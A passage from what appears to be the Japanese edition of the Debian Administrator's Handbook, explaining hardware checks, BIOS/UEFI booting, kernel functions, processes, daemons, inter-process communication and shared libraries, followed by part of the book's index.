ネットワークカードは多くの場合リンク状態を示す LED を備えています。ケーブルが装着されており、そのケーブルが動いているネットワークハブまたはスイッチにつなげられている場合、少なくとも 1 つの LED が点灯しているはずです。すべての LED が消灯している場合、ネットワークカード本体、ネットワーク機器、両者をつなげるケーブルのどれかが壊れています。それ故、次の段階では各要素を個別にテストします。

一部の拡張カード (特に 3D ビデオカード) はヒートシンクやファンなどの冷却装置を備えています。カードの電源が入っているにも関わらずファンが回転していない場合、もっともらしい状況はカードが過熱している状況です。マザーボードに装着されているプロセッサにも同じことが言えます。

B.3.2. スタート係、BIOS や UEFI

ハードウェアはひとりでに動くものではありません。ハードウェアを制御するソフトウェアがなければ、ハードウェアをまともに動作させることはできません。オペレーティングシステムとアプリケーションはハードウェアを制御したりハードウェアと情報をやり取りする機能を提供します。そしてこれを行うためにはハードウェアを正常に機能させる必要があります。

ハードウェアとソフトウェアの共生関係はひとりでに発生するものではありません。コンピュータ起動時には、いくつかの初期設定が必要です。この初期設定を担当しているのが BIOS および UEFI です。BIOS と UEFI はマザーボードに組み込まれた小さなソフトウェアで、起動中に自動的に実行されます。BIOS と UEFI の最も重要な役割に、ハードウェアの制御を引き継ぐソフトウェアを検索する役割があります。BIOS の場合、通常これはブートセクタ (**マスターブートレコード**や MBR として知られています) を備えた最初のハードディスクを検索し、ブートセクタを読み込んで、ブートセクタに収められているソフトウェアを実行することに相当します。BIOS の関与する動作はここまでです (次回起動時まで関与しません)。UEFI の場合、後に起動する EFI アプリケーションが収められている専用の EFI パーティションを見つけるためにディスクをスキャンします。

TOOL

Setup、BIOS/UEFI 設定ツール

BIOS/UEFI には、Setup と呼ばれるソフトウェアが含まれます。Setup はコンピュータを設定する目的で設計されています。特に、Setup を使うことで優先する起動デバイス (たとえば、フロッピーディスクや CD-ROM ドライブなど) を選択したり、システム時計を設定したりすることが可能です。Setup を開始するには、コンピュータ起動直後の非常に早い時期に特定のキーを押します。多くの場合このキーは Del か Esc で、時々 F2 や F10 の場合もあります。ほとんどの場合、Setup を開始するキーは起動画面に一瞬表示されます。

ブートセクタ (または EFI パーティション) には別のソフトウェアが保存されています。これはブートローダと呼ばれ、オペレーティングシステムを探して実行するためのものです。ブートローダはマザーボードに組み込まれているのではなく、ディスクから読み込まれます。このため、BIOS よりも多くの機能を持っています。BIOS 自身がオペレーティングシステムを読み込まないのはこれが理由です。たとえば、ブートローダ (Linux システムでは GRUB を使うことが多いです) は利用できるオペレーティングシステムを表示し、ユーザに起動するオペレーティングシステムを尋ねることが可能です。通常、タイムアウトとデフォルトの回答が設定されています。ここでユーザはカーネルに渡すパラメータを追加したりすることも可能です。最終的に、カーネルが見つかり、メモリに読み込まれ、実行されます。

NOTE

UEFI、BIOS の現代的な置き換え

UEFI は比較的最近開発されたものです。多くの新しいコンピュータは UEFI 起動をサポートしますが、UEFI を活用する準備を整えていないオペレーティングシステムに対する後方互換性を確保するために、BIOS 起動もサポートしていることが多いです。

UEFI 起動という新しいシステムは BIOS 起動にあった制限の一部を克服しています。具体的に言えば、ブートローダ専用パーティションを利用することにより、ブートローダを小さな**マスターブートレコード**に収めたり、ブートローダに起動するカーネルを見つけさせたりするために特別な策を講じる必要はなくなります。さらに良いことに、適切にビルドされた Linux カーネルを利用することで、中間ブートローダを使わずに UEFI から直接 Linux カーネルを起動することが可能です。また UEFI は**セキュアブート**を実行するために使われる基盤技術です。**セキュアブート**技術を使うことで、オペレーティングシステム業者が正当性を認めたソフトウェアだけが実行されることを保証することが可能です。

また、BIOS/UEFI は多数のデバイスを検出して初期化します。言うまでもなくこのデバイスには、IDE/SATA デバイス (通常ハードディスクおよび CD/DVD-ROM デバイス) だけでなく PCI デバイスも含まれます。検出されたデバイスは起動処理中に画面に表示されます。デバイスリストがすぐに消えてしまう場合、Pause キーを押せば表示を中止して内容を読むことが可能です。インストールされた PCI デバイスがリストに含まれないのは悪い兆しです。最悪の場合、デバイスは欠陥品ということになります。良くても、デバイスは BIOS またはマザーボードの現在のバージョンと互換性がないということになります。PCI 仕様は進化しており、古いマザーボードで新しい PCI デバイスを使える保証はありません。

B.3.3. カーネル

BIOS/UEFI とブートローダはそれぞれ数秒間だけ実行されます。これでついに、長時間実行するソフトウェアであるオペレーティングシステムカーネルに到達します。カーネルはオーケストラで言えば指揮者の役割を果たし、ハードウェアとソフトウェア間の調整を行います。カーネルは複数の作業を担当しています。具体的に言えば、ハードウェアの駆動、プロセスの管理、ユーザとパーミッションの管理、ファイルシステムの管理などを担当しています。カーネルはシステム上のすべての他のプログラムに共通基盤を提供するものです。

B.3.4. ユーザ空間

カーネル以外のすべては「ユーザ空間」の意味でひとくくりにされますが、「ユーザ空間」をさらにいくつかのソフトウェア層に分割することが可能です。しかしながら、ソフトウェア層同士の相互作用は以前に比べてさらに複雑化しており、ソフトウェア層の分類分けは単純ではありません。アプリケーションは一般にライブラリを使います。ライブラリはカーネルと通信しますが、通信には他のプログラムまたはさらに多くのライブラリが必要です。

B.4. カーネルが担当している一部の操作

B.4.1. ハードウェアの操作

カーネルの責務は何を差し置いてもまず、ハードウェア部分を制御したり、検出したり、コンピュータ起動時にハードウェア部分のスイッチを ON にしたりすることです。さらにカーネルは単純化されたプログラミングインターフェースを使った高レベルソフトウェアからハードウェアを利用できるようにします。こうすることで、アプリケーションは拡張カードがどの拡張スロットに接続されているかなどの詳細を気にすることなくデバイスをうまく活用することが可能になります。さらにこのプログラミングインターフェースは抽象化レイヤを提供します。そして抽象化レイヤを使うことで、たとえばビデオ会議ソフトウェアは種類やモデル番号を気にせずにウェブカメラを使うことが可能です。すなわち、ビデオ会議ソフトウェアは **Video for Linux** (V4L) インターフェースを使うだけでよいのです。そしてカーネルが V4L インターフェースの機能呼び出しを特定のウェブカメラを制御するために必要な実際のハードウェアコマンドに変換します。

カーネルは検出されたハードウェアに関する多くの詳細を /proc/ と /sys/ 仮想ファイルシステムを通じて書き出します。ハードウェアの詳細をまとめて表示するツールも存在します。中でも、`lspci` (**pciutils** パッケージに含まれます) は PCI デバイスをリストし、`lsusb` (**usbutils** パッケージに含まれます) は USB デバイスをリストし、`lspcmcia` (**pcmciautils** パッケージに含まれます) は PCMCIA カードをリストします。これらのツールはデバイスの正確なモデル番号を識別するのに役立ちます。デバイスの正確なモデル番号を使えば、より的確に検索したり、より関連性の高い文書を見つけることが可能です。

例 B.1　`lspci` と `lsusb` で提供される情報の一例

```
$ lspci
[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics
    ➥ Controller (rev 03)
```

```
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express
    ➥ Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI
    ➥ #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI
    ➥  Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (
    ➥ rev 05)
$ lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth
```

これらのプログラムは -v オプションを用意しています。-v オプションを使うことで、より詳しい (通常は不要な) 情報が表示されます。最後に、lsdev コマンド (**procinfo** に含まれます) はデバイスによって使われている通信リソースをリストします。

アプリケーションは /dev/ 内に作られた特殊ファイル (補注「デバイスアクセスパーミッション」160 ページを参照してください) を介してデバイスにアクセスする場合が多いです。/dev/ 内には特殊ファイルがあり、これらはディスクドライブ (たとえば /dev/hda や /dev/sdc)、パーティション (/dev/hda1 や /dev/sdc3)、マウス (/dev/input/mouse0)、キーボード (/dev/input/event0)、サウンドカード (/dev/snd/*)、シリアルポート (/dev/ttyS*) などを表しています。

B.4.2. ファイルシステム

ファイルシステムはカーネルの最も卓越した側面の 1 つです。Unix システムはすべてのファイル保存領域を単独の階層構造の中に融合させます。こうすることで、ユーザ (とアプリケーション) は階層構造の中のファイルの場所を知るだけでデータにアクセスすることが可能です。

階層構造ツリーの基点はルート、/、と呼ばれています。ルートディレクトリには名前を付けられたサブディレクトリが含まれます。たとえば、/ の home サブディレクトリは /home/ と呼ばれます。このサブディレクトリには、さらに別のサブディレクトリを含めることが可能です。各ディレクトリには、実際のデータが保存されるファイルを含めることも可能です。そんなわけで、/home/rmas/Desktop/hello.txt ファイルはルートディレクトリ内の home サブディレクトリ内の rmas サブディレクトリ内の Desktop サブディレクトリ内の hello.txt と名付けられたファイルを表します。カーネルはこの命名システムと実際のディスク上の物理的な保存領域を変換します。

他のシステムと異なり、階層構造は 1 つしかありません。そしてこの単独の階層構造は複数のディスクに保存されたデータを統合できます。1 台のディスクがルートディレクトリとして使われ、他のディスクは階層構造中のディレクトリに「マウント」されます (これを行う Unix コマンドは mount と呼ばれます)。マウントされたディスクは「マウントポイント」の下から利用できるようになります。これのおかげで、2 台目のハードディスクに rhertzog や rmas ディレクトリなどのユーザホームディレクトリ (伝統的に /home/ の中に保存されます) を保存することが可能になります。2 台目のハードディスクを /home/ にマウントす

ると、ユーザのホームディレクトリの通常の場所からこれらのディレクトリにアクセスできるようになり、/home/rmas/Desktop/hello.txt などのパスが動作するようになります。

ディスク上にデータを保存する物理的な方法の違いに対応して、多くのファイルシステムが存在します。最も広く知られているファイルシステムは **ext2**、**ext3**、**ext4** ですが、他にも存在します。たとえば、**vfat** は歴史的に DOS と Windows オペレーティングシステムで使われていたファイルシステムで、**vfat** ファイルシステムを使っているハードディスクは Debian および Windows 環境下で使うことが可能です。いかなる場合でも、ディスクをマウントする前に必ずディスク上にファイルシステムを準備しなければいけません。この準備作業は「フォーマット」として知られています。フォーマットを行うには mkfs.ext3 (ここで mkfs は **MaKe FileSystem** の略語です) などのコマンドを使います。mkfs.ext3 などのコマンドには、フォーマットされるパーティションを指すデバイスファイル (たとえば /dev/sda1) をパラメータとして渡す必要があります。ファイルシステムの作成作業は破壊的なものです。意図的にファイルシステムを完全に消去して、最初からやり直したい場合を除いて、2 回やってはいけません。

さらに NFS などのネットワークファイルシステムも存在します。ネットワークファイルシステムを使った場合、データはローカルディスクに保存されません。その代わり、データはネットワークを介してサーバに送信されます。サーバは要求に応じてデータを書き込んだり、読み出したりします。ファイルシステムを抽象化したことにより、ユーザが特に心がける点はなくなります。すなわち、ファイルは通常の階層構造的な方法を使ってアクセスできます。

B.4.3. 機能の共有

数多くの同じ機能がすべてのソフトウェアで使われますから、これらの機能をカーネルに集中させることは合理的です。たとえば、共有のファイルシステム操作機能を使うことで、名前から簡単にファイルを開くことが可能になります。ファイルが物理的に保存されている場所を気にする必要はありません。ファイルは 1 台のハードディスクの複数の異なる部分に保存したり、複数のハードディスクにわたって分割保存したり、リモートファイルサーバに保存することが可能です。アプリケーションはデータを交換するために共有の通信機能を使います。アプリケーション側からするとデータを転送する方法を意識する必要はありません。たとえば、データ転送はローカル、ワイヤレスネットワーク、固定電話回線の任意の組み合わせを通じて行われるかもしれません。

B.4.4. プロセス管理

プロセスとはプログラムの実行中インスタンスです。プロセスはプログラム自身とその動作データを保存するためのメモリを要求します。カーネルはプロセスの作成と追跡を担当します。プログラムが実行されると、カーネルは最初に幾らかのメモリを確保し、次にファイルシステムから確保したメモリに実行コードを読み込み、次にコードの実行を開始します。カーネルはプロセスに関する情報を保持します。中でも最もよく目にする情報は **pid** (**プロセス ID**) として知られる識別番号です。

Unix 系カーネル (Linux を含めて) は、多くの他の現代的なオペレーティングシステムと同様、「マルチタスク」機能を備えています。言い換えれば、Unix 系カーネルは多くのプロセスを「同時に」実行することが可能です。ある時点で動いているのは 1 つのプロセスだけですが、カーネルは時間を小さな単位に切り分け、順繰りにそれぞれのプロセスを実行しています。これらの時分割単位は極めて短い (ミリ秒程度) ので、プロセスが並列実行されているような錯覚を起こさせます。しかし実際のところプロセスはある時間周期で活動しており、残りの時間は動いていません。カーネルの作業はこの錯覚を保つためにスケジューリングメカニ

ズムを調節し、同時にシステム全体の性能を最大化することです。時分割単位が長すぎる場合、アプリケーションが要求通りの反応をしていないように感じるかもしれません。時分割単位が短すぎる場合、タスク切り替えが頻繁に起こるようになり、システムは処理時間を損することになります。プロセス優先度を使えば、時分割単位を微調整することが可能です。優先度の高いプロセスは優先度の低いプロセスに比べて長くそしてより頻繁な時分割単位で実行されます。

NOTE

マルチプロセッサシステム (とその亜種)

ある時点に実行できるプロセスはたった 1 つという上で説明した制限は必ずしも適用できるとは限りません。実用上の制限としては、同時に実行されるプロセスの数は**プロセッサのコア 1 つ当たり** 1 つという制限です。マルチプロセッサ、マルチコア、「ハイパースレッディング」システムを使うことで、複数のプロセスを並列実行することが可能です。ここでも同じ時分割システムを使いますが、このシステムは利用できるプロセッサコアの数よりも多くのプロセスを実行させるようなケースを取り扱うことが可能です。これは決して珍しいことではありません。すなわち、基本システムはほとんど動いていませんが、ほとんど常時数十個の実行中プロセスを抱えています。

もちろん、カーネルは同じプログラムの複数の独立したインスタンスも取り扱うことが可能です。しかし各プロセスは自分自身以外の時分割単位とメモリにアクセスすることは不可能です。このため、プロセスごとのデータは独立に管理されています。

B.4.5. 権限管理

Unix 系システムはマルチユーザに対応しています。Unix 系システムはグループとユーザの別々な管理をサポートする権限管理システムを提供しています。さらに、パーミッションに基づいて動作を制御することも可能です。カーネルは各プロセスに対するデータを管理し、そのデータを使ってパーミッションを制御します。ほとんどの場合、プロセスはプロセスを開始したユーザと同じユーザ ID を持ちます。そして、プロセスは自分を開始した所有者が実行できる動作だけを実行することが可能です。たとえば、プロセスがファイルを開くためには、カーネルによってそのプロセスのユーザ ID が対象のファイルへのアクセスパーミッションを持つことが確認されなければいけません (具体的な例についてのより詳しい情報は第 9.3 節「権限の管理」197 ページをご覧ください)。

B.5. ユーザ空間

「ユーザ空間」とは通常 (カーネルに対するという意味) プロセスの実行環境を意味します。「ユーザ空間」プロセスとは実際にユーザによって開始されたプロセスという意味ではありません。なぜなら、標準的なシステムでは通常、ユーザがセッションを開始する前から実行されている複数の「デーモン」(またはバックグラウンド) プロセスが存在するからです。デーモンプロセスもまたユーザ空間プロセスと考えられます。

B.5.1. プロセス

カーネルはその初期化終了後に、最初のプロセスである `init` を開始します。最初のプロセスである `init` それ自身が役に立つことはほとんどなく、Unix 系システムは多くの追加的プロセスと一緒に動いています。

第一に、プロセスは自分自身を複製することが可能です (これは**フォーク**として知られています)。カーネルは新しい (全く同じ) プロセスメモリ空間とそれを使うもう一つ別のプロセスを割り当てます。この時点で、

2 つのプロセスの違いは **pid** だけです。新しいプロセスは通常子プロセスと呼ばれています。そして **pid** が変わらなかったプロセスは親プロセスと呼ばれています。

しばしば、子プロセスは親プロセスからコピーされたデータを持った状態で、親プロセスから独立して引き続き実行されます。とは言うものの、子プロセスは他のプログラムを実行する場合が多いです。この場合、いくつかの例外を除いて、子プロセスのメモリは単純に新しいプログラムで置き換えられ、新しいプログラムの実行が始まります。このメカニズムを使用して、init プロセス (プロセス ID が 1 のプロセス) は追加的サービスを起動し起動シーケンスの全体を実行します。同時に、`init` の子プロセスの 1 つがログイン機能を提供するユーザ用のグラフィカルインターフェースを開始します (実際のイベントの順番は第 9.1 節「システム起動」182 ページに詳しく書かれています)。

プロセスは自分が開始したタスクを完了したら、終了します。その後、カーネルがこのプロセスに割り当てられたメモリを回収し、カーネルはプロセスに実行時間を与えることを停止します。親プロセスは子プロセスが終了したことについて通知を受けます。このおかげで、親プロセスは子プロセスに委託したタスクの完了を待つことが可能になります。コマンドラインインタプリタ (**シェル**として知られています) ではこの挙動がはっきりと見えます。コマンドがシェルに入力された場合、コマンドの実行が終了するまでプロンプトは戻って来ません。多くのシェルでは、コマンドをバックグラウンドで実行することが可能です。これを行うには、コマンドの最後に **&** を追加するだけです。この場合、プロンプトはすぐに戻ってきます。バックグラウンドで実行されるコマンドがデータを表示する場合、このやり方は問題を引き起こすかもしれません。

B.5.2. デーモン

「デーモン」は起動シーケンスによって自動的に開始されるプロセスです。「デーモン」はメンテナンス作業を実行したり他のプロセスにサービスを提供するために (バックグラウンドで) 実行され続けます。ここで実際の「バックグラウンドタスク」はどんなものでも構いませんし、システムの観点から何か特別なタスクを意味しているわけでもありません。「バックグラウンドタスク」は単なるプロセスで、他のプロセスとよく似ており、自分に割り当てられたタイムスライスが来た時に動きます。プロセスの区別は人間の言葉に過ぎません。そして、ユーザと対話せずに実行される (特にグラフィカルインターフェースを持たない) プロセスは「バックグラウンドで実行される」とか「デーモンとして実行される」などと表現されます。

VOCABULARY	
Daemon (守り神)、demon (悪魔)、軽蔑語?	**daemon** という用語はギリシャ神話の **demon** を起源とするにも関わらず、**daemon** は暗に残虐な悪魔を意味するものではなく、その代わりに **daemon** は守り神のようなものとして理解されています。この区別は英語ではかなりわかりにくいものです。さらに、両方の意味を同じ言葉で表している他の言語ではもっとわかりにくいです。

いくつかのデーモンは第 9 章「Unix サービス」182 ページで詳細に説明されています。

B.5.3. プロセス間通信

デーモンでも対話型アプリケーションでも、単独のプロセスでは役に立たない場合が多いです。このため、異なるプロセス同士がデータを交換したり、相互に制御し合うためのさまざまな通信方法があります。これを意味する一般的な用語が**プロセス間通信** (略して IPC) です。

最も簡単な IPC システムではファイルを使います。データ送信側のプロセスが送信内容をファイルに書き込み (事前にファイル名を決めておく必要があります)、受信側はファイルを開いてその内容を読むだけです。

データをディスクに保存したくないと思っているならば、**パイプ**を使うことが可能です。**パイプ**は 2 つの端を持つ単純なオブジェクトです。そして、片側に書き込まれたデータを逆側から読み出すことが可能です。パイプの一方の端が別のプロセスによって制御されている場合、パイプは単純で便利なプロセス間通信チャネルになります。パイプは 2 種類に分類分けされます。すなわち名前付きパイプと無名パイプに分類分けされます。名前付きパイプはファイルシステム上のエントリによって表現されます (転送されたデータは保存されません)。このため、事前に名前付きパイプの場所がわかっていれば、2 つのプロセスが独立に名前付きパイプを開くことが可能です。通信プロセス同士に関連性がある場合 (たとえば、親と子プロセス)、親プロセスはフォークの前に無名パイプを作成し、子プロセスがこれを継承するだけで済みます。両方のプロセスはパイプを通じてデータを交換することが可能です。ファイルシステムは必要ありません。

IN PRACTICE

具体例

それでは、複雑なコマンド (**パイプライン**) がシェルから実行された場合に何が起きるか詳しく説明しましょう。**pid** #4374 の bash プロセス (Debian の標準的なユーザシェル) があると仮定します。このシェルの中で、次のコマンドを入力します。`ls | sort`。

最初にシェルは入力されたコマンドを解釈します。今回の場合、シェルは 2 種類のプログラム (`ls` と `sort`) が存在して、一方からもう一方へ流れるデータストリーム (**|** 文字によって表されます。これは**パイプ**としても知られています) があると理解します。bash は最初に無名パイプ (これは bash プロセス自身の中だけに存在します) を作成します。

その後、シェルは自分自身の複製を作ります。そしてこれは新しい bash プロセスで **pid** #4521 を持っています (**pid** は抽象的な数で、一般に特別な意味はありません)。プロセス #4521 はパイプを継承します。これは「入力」側に書き込むことが可能ということを意味しています。さらに bash は自分の標準出力ストリームをパイプの入力にリダイレクトします。その後、bash は `ls` プログラムを実行します (さらに自分自身を `ls` で置き換えます)。`ls` は現在のディレクトリの内容をリストします。`ls` の書き込み先は標準出力で、この出力はあらかじめリダイレクトされていたため、結果はパイプに送られます。

2 番目のコマンドについても同様の操作が行われます。つまり bash はもう一度自分自身の複製を作り、これにより pid #4522 の新しい bash プロセスが作成されます。pid #4522 の新しい bash プロセスは #4374 の子プロセスで、パイプを継承します。さらに bash は自分の標準入力をパイプの出力に接続し、その後 `sort` コマンドを実行します (さらに自分自身を `sort` で置き換えます)。`sort` コマンドは自分への入力をソートして結果を表示します。

これで、パズルのすべてのピースがそろった状態になります。つまり `ls` は現在のディレクトリを読み込んで、ファイルのリストをパイプに書き込みます。さらに `sort` はファイルのリストを読み込んで、アルファベット順にソートして、結果を表示します。プロセス ID が #4521 と #4522 のプロセスは終了し、#4374 (これは実行中の他プロセスが終了するのを待っていました) は制御を取り戻し、ユーザが新しいコマンドを入力するためのプロンプトを表示します。

しかしながら、すべてのプロセス間通信がデータを移動させるために使われるわけではありません。多くの状況で、送信する必要のある情報は「実行を一時停止」や「実行を再開」などの制御メッセージです。Unix (と Linux) は**シグナル**として知られているメカニズムを提供します。このメカニズムを使って、あるプロセスは別のプロセスに対して簡単に特定のシグナルを送信することが可能です (送信するシグナルは事前に定義されたシグナルのリストから選びます)。送信に必要な情報は送信先の **pid** だけです。

さらに複雑な通信を行うには、プロセスが他のプロセスに対して自分が割り当てられたメモリの一部へのアクセス制限を解除したり、共有したりするメカニズムを使います。これで、プロセス間で共有されたメモリをデータ交換のために使うことが可能になります。

最後に、ネットワーク接続を使ってプロセス同士を通信させることが可能です。そして数千キロ離れた異なるコンピュータで動いているプロセス同士でも通信することが可能です。

典型的な Unix 系システムでは、さまざまなレベルでこれらのメカニズムを使っており、かなり標準的な手法になっています。

B.5.4. ライブラリ

関数ライブラリは Unix 系オペレーティングシステムで重要な役割を果たします。関数ライブラリは厳密な意味のプログラムではありません。なぜなら、関数ライブラリ自体は実行できず、標準的なプログラムで使用されるコードの断片に過ぎないからです。よく使われるライブラリの中でも特に以下のものが有名です。

- 標準 C ライブラリ (**glibc**)。これにはファイルやネットワーク接続を開く関数やカーネルとの通信を容易にする関数などの基本的な関数が含まれます。
- Gtk+ と Qt などのグラフィカルツールキット。これを使うことで、多くのプログラムはツールキットの提供するグラフィカルオブジェクトを再利用することが可能です。
- **libpng** ライブラリ。これを使うことで、PNG フォーマットイメージを読み込み、編集、保存することが可能になります。

これらのライブラリのおかげで、アプリケーションは既存のコードを再利用することが可能です。多くのアプリケーションは同じ関数を再利用できるため、アプリケーションの開発は単純化されます。また、通常それぞれのライブラリは別の人によって開発されているため、アプリケーションの大域的な開発は Unix の歴史的哲学に近いものになります。

CULTURE

Unix 流、一度に一つのことをせよ

Unix 系オペレーティングシステムの根底にある基本的概念の一つとして、それぞれのツールがたった 1 つのことを担当し、それをうまくこなす、というものがあります。そしてアプリケーションはこれらのツールを再利用して、より高度な論理を作り上げることが可能です。この根本原理はさまざまな形で具現化されています。シェルスクリプトは最良の例かもしれません。具体的に言えば、シェルスクリプトは極めて簡単なツール (たとえば `grep`、`wc`、`sort`、`uniq` など) を複雑に並べたものです。コードライブラリも基本的概念を具現化したものとみなすことが可能です。すなわち **libpng** ライブラリを使うことで、さまざまなオプションとさまざまな方法を使って、PNG イメージの読み込みと書き込みを行うことが可能です。しかし、**libpng** ライブラリはそれ以上のことを行いません。従って、イメージを表示したり編集する関数は全く含まれません。

さらに、これらのライブラリは「共有ライブラリ」とも呼ばれています。なぜなら、複数のプロセスが同じライブラリを同時に使う場合、カーネルはライブラルの読み込みを 1 回だけで済ませることが可能だからです。プロセスが使うライブラリのコードを何度も読み込むような逆の (仮想的な) 状況に比べて、これはメモリを節約することになります。

索引

(リポジトリの) コンポーネント, 103
.config, 175
.d, 113
.htaccess, 271
/etc/apt/apt.conf.d/, 113
/etc/apt/preferences, 114
/etc/apt/sources.list, 102
/etc/apt/trusted.gpg.d/, 123
/etc/bind/named.conf, 240
/etc/default/ntpdate, 170
/etc/exports, 277
/etc/fstab, 171
/etc/group, 159
/etc/hosts, 155
/etc/init.d/rcS, 188
/etc/init.d/rcS.d/, 188
/etc/pam.d/common-account, 288
/etc/pam.d/common-auth, 288
/etc/pam.d/common-password, 288
/etc/passwd, 157
/etc/shadow, 157
/etc/sudoers, 171
/etc/timezone, 168
/proc/, 154
/sys/, 154
/usr/share/doc/, 11
/usr/share/zoneinfo/, 168
/var/lib/dpkg/, 82
~, 161
1000BASE-T, 149
100BASE-T, 149
10BASE-T, 149
10GBASE-T, 149
2 点間, 151
32/64 ビットの選択, 51
AAAA、DNS レコード, 239
ACPI, 218
acpid, 218
addgroup, 159
adduser, 159
ADSL、モデム, 151
Advanced Configuration and Power Interface, 218
Advanced Package Tool, 102
AFP, 40
Afterstep, 358
AH、プロトコル, 230
aide (Debian パッケージ), 387
Akkerman, Wichert, 12
alien, 97
alioth, 17
Allow from、Apache 指示文, 273
AllowOverride、Apache 指示文, 271, 272
am-utils, 173
amanda, 210
amd, 173
amd64, 44
anacron, 208
analog, 142
Anjuta, 367
antivirus, 265
apache, 267
Apache 指示文, 271, 272
AppArmor, 390
AppleShare, 40
AppleTalk, 40
approx, 108
apropos, 136
APT, 74, 102
    pinning, 114
    インターフェース, 119
    パッケージ検索, 118

ヘッダ表示, 118
初期設定, 65
設定, 113, 114
apt, 109
apt dist-upgrade, 112
apt full-upgrade, 112
apt install, 110
apt purge, 110
apt remove, 110
apt search, 118
apt show, 118
apt update, 109
apt upgrade, 111
apt-cache, 118
apt-cache dumpavail, 119
apt-cache pkgnames, 119
apt-cache policy, 119
apt-cache search, 118
apt-cache show, 118
apt-cacher, 108
apt-cacher-ng, 108
apt-cdrom, 103
apt-ftparchive, 430
apt-get, 109
apt-get dist-upgrade, 112
apt-get install, 110
apt-get purge, 110
apt-get remove, 110
apt-get update, 109
apt-get upgrade, 111
apt-key, 123
apt-mark auto, 117
apt-mark manual, 117
apt-xapian-index, 118
apt.conf.d/, 113
aptitude, 69, 109, 119
aptitude dist-upgrade, 112
aptitude full-upgrade, 112
aptitude install, 110
aptitude markauto, 117
aptitude purge, 110
aptitude remove, 110
aptitude safe-upgrade, 111
aptitude search, 118
aptitude show, 118
aptitude unmarkauto, 117
aptitude update, 109
aptitude why, 117
Aptosid, 445
ar, 74
artistic ライセンス, 7
ASCII, 146
at, 208
ATA, 454
atd, 205
ATI, 357
atq, 208
atrm, 208
autofs, 173
automount, 173
Autopsy Forensic Browser, 417
Avahi, 40
awk, 358
AWStats, 273
awtats, 142
axi-cache, 118, 132
A、DNS レコード, 239

BABEL wireless mesh routing, 236
babeld, 236
backports.debian.org, 106
BackupPC, 210
bacula, 210
bash, 160
Basic Input/Output System, 48
BGP, 236
bgpd, 236
bind9, 240
BIOS, 48, 454
Blackbox, 358
Bo, 9
Bochs, 323
Bonjour, 40
Breaks、ヘッダフィールド, 79
Bruce Perens, 8
BSD, 34
BSD ライセンス, 7

BTS, 14
bugs.debian.org, 14
Build-Depends、コントロールフィールド, 423
Build-Depends、ヘッダフィールド, 87
build-simple-cdd, 344
buildd, 24
Bullseye, 9
Buster, 9
Buzz, 9
bzip2, 102
bzr, 19

c++, 358
Calligra Suite, 369
cc, 358
CD-ROM
    netinst CD-ROM, 49
    インストール用 CD-ROM, 49
    起動可能な CD-ROM, 445
chage, 158
changelog.Debian.gz, 139
checksecurity, 388
chfn, 158
chgrp, 198
chmod, 198
chown, 198
chsh, 158
CIFS, 278
cifs-utils, 280
clamav, 265
clamav-milter, 265
CNAME、DNS レコード, 239
CodeWeavers, 369
Collins, Ben, 12
Common Unix Printing System, 162
common-account, 288
common-auth, 288
common-password, 288
Compose、キー, 147
conffiles, 84
config、debconf スクリプト, 84
Conflicts、ヘッダフィールド, 78
console-data, 147
console-tools, 147
contrib、セクション, 103
control, 76
control.tar.gz, 82
copyright, 140
CPAN, 81
cron, 205
crontab, 206
CrossOver, 369
crypt, 156
csh, 160
CUPS, 162
cups, 161
    管理, 162
cvs, 19

DAM, 13
dansguardian, 283
DATA, 261
DCF-77, 170
dch, 433
dconf, 360
DDPO, 18
debc, 433
debconf, 84, 201, 341
debfoster, 117
debhelper, 433
debi, 433
Debian France, 4
Debian アカウントマネージャ, 13
Debian サーバの引き継ぎ, 43
Debian パッケージトラッカー, 18
Debian フリーソフトウェアガイドライン, 6
Debian プロジェクトニュース, 20
Debian プロジェクトリーダー, 11
Debian ポリシー, 10
Debian マシンのリカバリ, 43
Debian マシンの探索, 43
Debian メンテナ, 434
Debian 開発者のパッケージ一覧, 18
Debian 開発者リファレンス, 432
debian-admin, 18
debian-archive-keyring, 123
debian-cd, 3, 343
debian-installer, 4, 48

debian-kernel-handbook, 174
debian-user@lists.debian.org, 142
debian.net, 108
debian.tar.gz ファイル, 86
deborphan, 117
debsums, 387
debtags, 132
debuild, 433
delgroup, 159
Deny from、Apache 指示文, 273
Depends、ヘッダフィールド, 77
Destination NAT, 223
devscripts, 433
Devuan, 446
DFSG, 6
dh-make, 433
DHCP, 150, 242
diff, 15, 213
diff.gz ファイル, 86
DirectoryIndex、Apache 指示文, 271
dirvish, 211
Distrowatch, 447
dkms, 177
dm-crypt, 64
DNAT, 223
DNS, 155, 239
    NAPTR レコード, 292
    SRV レコード, 292
    ゾーン, 239
    自動更新, 244
DNS レコード, 240
DNSSEC, 240
Dogguy, Mehdi, 12
DoudouLinux, 447
dpkg, 74, 89
    dpkg --verify, 386
    データベース, 82
    内部動作, 83
dpkg-reconfigure, 201
dpkg-source, 88
DPL, 11
dput, 434
DruCall, 298
DSA (Debian システム管理者), 18
DSC ファイル, 86
dselect, 70
dsl-provider, 152
DST, 168
dupload, 434
DVD-ROM
    netinst DVD-ROM, 49
    インストール用 DVD-ROM, 49
Dynamic Host Configuration Protocol, 242

easy-rsa, 224
edquota, 209
eGroupware, 367
EHLO, 259
Ekiga, 371, 372
email
    送信者アドレスに基づくフィルタリング, 259
Empathy, 371
Enhances、ヘッダフィールド, 78
Epiphany, 365
ESP、プロトコル, 230
Etch, 9
eth0, 150
Evolution, 362
evolution-ews, 363
Excel、Microsoft, 369
ExecCGI、Apache 指示文, 271
Exim, 252
Explanation, 115
exports, 277

Facebook, 21
Firefox、Mozilla, 365, 366
Firewire, 454
Fluxbox, 358
FollowSymlinks、Apache 指示文, 271
FreeBSD, 34
FreeDesktop.org, 359
Freenet6, 238
fstab, 171
FTP (File Transfer Protocol), 275
ftpmaster, 17
